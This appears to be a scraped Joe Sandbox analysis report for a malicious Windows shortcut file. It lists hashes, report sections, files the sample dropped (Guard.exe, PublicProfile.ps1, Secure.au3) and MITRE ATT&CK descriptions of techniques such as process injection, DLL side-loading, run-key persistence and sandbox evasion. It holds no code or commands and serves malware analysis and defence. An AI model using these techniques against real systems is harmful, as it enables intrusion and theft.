Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrowstd::bad_alloc::bad_alloc
String ID: Unknown exception
API String ID: 3561508498-410509341
Opcode ID: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction ID: ae630d2f9e1e2f0c07ce8513c0dfe43d27686c6b6b8203e49713fc2f9108abe1
Opcode Fuzzy Hash: 9460797eaada1e9b880d8cc7196a2a9f4627ae69dcab396aeadb3e3bc5cc4094
Instruction Fuzzy Hash: BFD0122261498691DE20EB08D4543E86330F741708F904431D34C815BADF6CDE4AD700

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 7A2lfjTYNf.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\Public\Guard.exe

C:\Users\Public\PublicProfile.ps1

C:\Users\Public\Secure.au3

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fe7e8fa6-23fc-48f0-ac59-49dd55f3a8aa.tmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241223073935Z-168.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7848

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
7A2lfjTYNf.lnk

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre